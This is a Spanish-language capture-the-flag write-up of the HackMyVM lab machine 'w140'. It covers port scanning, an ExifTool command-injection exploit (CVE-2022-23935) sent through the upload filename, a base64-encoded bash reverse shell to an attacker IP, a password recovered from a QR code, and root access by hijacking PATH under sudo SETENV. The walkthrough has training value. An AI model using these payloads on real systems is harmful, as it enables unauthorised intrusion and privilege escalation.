cd ~/blog

~/writeups/hmv/034-w140.md

034 - w140

easy Linux hmv 03-03-2024
ExifTool RCE (CVE-2022-23935)QR code credential disclosuresudo SETENV PATH Hijacking
hackmyvm.eu/machines/machine.php?vm=w140

~1 min de lectura


Comenzamos con un escaneo de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.30
 nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.30
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-03 19:24 -03
Nmap scan report for 192.168.1.30
Host is up (0.00026s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 ff:fd:b2:0f:38:88:1a:44:c4:2b:64:2c:d2:97:f6:8d (RSA)
|   256 ca:50:54:f7:24:4e:a7:f1:06:46:e7:22:30:ec:95:b7 (ECDSA)
|_  256 09:68:c0:62:83:1e:f1:5d:cb:29:a6:5e:b4:72:aa:cf (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: w140
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.72 seconds

Enumeramos con gobuster:

 gobuster dir -u http://192.168.1.30 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.html           (Status: 200) [Size: 13235]
/assets               (Status: 200) [Size: 1689]
/upload.php           (Status: 200) [Size: 3773]
/service.html         (Status: 200) [Size: 3417]
/css                  (Status: 200) [Size: 1345]
/manual               (Status: 200) [Size: 676]
/js                   (Status: 200) [Size: 1762]
...

service.html permite subir una imagen JPG y, al hacerlo, devuelve un informe generado con exiftool, vulnerable a RCE (CVE-2022-23935). Interceptamos la subida con Burp y abusamos del campo filename: la versión vulnerable de exiftool ejecuta comandos cuando el nombre de archivo contiene una tubería. Codificamos en base64 la reverse shell:

 echo "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvMTIzNCAwPiYxCg==

E inyectamos el comando en el filename:

filename="echo -n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvMTIzNCAwPiYxCg==' | base64 -d | bash |"

Obtenemos una shell. En /var/www hay un código QR que, al escanearlo, revela la contraseña del usuario ghost. Con ella obtenemos la primera flag y revisamos sudo -l:

ghost@w140:~$ sudo -l
Matching Defaults entries for ghost on w140:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ghost may run the following commands on w140:
    (root) SETENV: NOPASSWD: /opt/Benz-w140

Podemos ejecutar Benz-w140 como root conservando el PATH (SETENV). El script invoca find por su nombre relativo, lo que lo hace vulnerable a PATH Hijacking. Creamos un find malicioso:

ghost@w140:/tmp$ echo '#!/bin/bash' > find
ghost@w140:/tmp$ echo 'bash -p' >> find
ghost@w140:/tmp$ cat find
#!/bin/bash
bash -p

ghost@w140:/tmp$ chmod +x find

Anteponemos /tmp al PATH y ejecutamos el script como root:

ghost@w140:/tmp$ export PATH=/tmp:$PATH
ghost@w140:/tmp$ sudo PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /opt/Benz-w140

Obtenemos una shell de root y capturamos la flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados